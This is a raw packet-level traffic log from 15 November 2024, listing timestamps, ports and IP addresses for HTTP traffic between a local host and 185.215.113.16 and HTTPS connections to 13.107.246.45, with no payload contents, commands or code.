Nov 15, 2024 13:18:30.551659107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551671028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551682949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551688910 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.551695108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551707983 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.551707983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551721096 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551770926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551781893 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551800966 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.551826000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551832914 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.551840067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551852942 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551865101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551867008 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.551928997 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.552083015 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552103996 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552115917 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552143097 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.552170038 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552182913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552198887 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.552248001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552261114 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552275896 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.552309036 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552336931 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.552351952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552364111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552397966 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552465916 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.552556992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552589893 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552603006 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552659988 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.552689075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552722931 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552736044 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552756071 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.552800894 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552813053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.552831888 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.553075075 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.582818031 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.582850933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.582864046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583483934 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.583538055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583573103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583734989 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.583776951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583790064 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583801985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583858967 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.583858967 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.583888054 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583918095 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583929062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583976030 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583986998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.583997965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584007025 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.584041119 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.584041119 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.584120035 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584182024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584193945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584206104 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584249973 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.584310055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584368944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584378958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584397078 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584408045 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584486008 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.584522963 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584561110 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584572077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584590912 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.584625006 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.584666967 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584709883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584755898 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.584819078 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584830999 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584842920 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584853888 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584944010 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.584980965 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.584983110 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585045099 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585089922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585099936 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585123062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585133076 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585150957 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.585199118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585211039 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585228920 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.585354090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585381985 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.585401058 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585413933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585455894 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585467100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585486889 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.585525990 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585544109 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.585639954 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585695982 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585706949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585724115 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.585812092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585824013 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585834026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585843086 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.585870028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585879087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.585897923 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.585980892 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.609893084 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.610821009 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.610821009 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.610862017 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.610878944 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.625806093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.625819921 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.625839949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.625849009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.625860929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.625869036 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.625883102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.625910997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.625911951 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.625969887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.625978947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.626002073 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.626028061 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.626049995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.627480030 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.628166914 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.628969908 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.628971100 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.629003048 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.629025936 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.659324884 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.660303116 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.660303116 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.660332918 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.660356998 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.674549103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674563885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674585104 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674597979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674607992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674618959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674631119 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674629927 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.674679995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674694061 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674711943 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.674762964 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674787998 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.674806118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674817085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674832106 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.674854994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674879074 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.674907923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674918890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674930096 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674953938 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.674985886 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.675029039 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675040007 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675278902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675307989 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.675333023 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675348043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675364017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675367117 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.675378084 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675388098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675398111 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.675491095 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.675493956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675538063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675549984 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675563097 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675652981 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.675683975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675695896 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675709009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675719976 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675795078 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675820112 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.675851107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675864935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675895929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675909996 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.675921917 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.677359104 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.705912113 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.705929995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.705941916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.705954075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.705986977 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.706844091 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.706882954 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.706893921 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.706907988 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.706918001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.706962109 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.706962109 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.707036018 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707056046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707070112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707128048 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707140923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707155943 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.707179070 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707189083 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707201004 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707205057 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.707216024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707241058 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.707283020 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.707292080 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707305908 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707393885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707437992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707448959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707470894 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.707583904 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.707665920 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707685947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707696915 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707777977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707789898 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707807064 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.707827091 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707850933 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.707918882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707932949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707943916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.707967043 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.707988977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708014965 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.708113909 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708126068 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708137035 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708144903 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.708239079 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708249092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708261013 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708265066 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.708287954 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.708302021 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708312988 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708327055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708328009 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.708363056 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.708429098 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708447933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708461046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708512068 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708515882 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.708515882 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.708523989 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708690882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708702087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708714008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708719969 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.708744049 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.708760023 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.708772898 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.709549904 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.710894108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.710905075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.710916996 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.710932970 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.710943937 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.710973024 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.711039066 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.736469984 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.736624002 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.736785889 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.736785889 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.736835003 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.736857891 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.739674091 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.739717960 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.740405083 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.740405083 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.740447044 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.748963118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.748977900 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.748995066 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.749021053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.749033928 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.749044895 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.749054909 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.749097109 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.749099970 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.749110937 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.749121904 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.749134064 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.749151945 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.749221087 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.759617090 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.759793043 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.764404058 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.770297050 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.770319939 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.770358086 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.770365953 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.773483992 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.773542881 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.773742914 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.775074005 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.775091887 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.789143085 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.789244890 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.789328098 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.789357901 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.789357901 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.789369106 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.789378881 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.791359901 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.791389942 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.791579962 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.791579962 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.791613102 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.797666073 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797677040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797688007 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.797729015 CET	80	49734	185.215.113.16	192.168.2.7
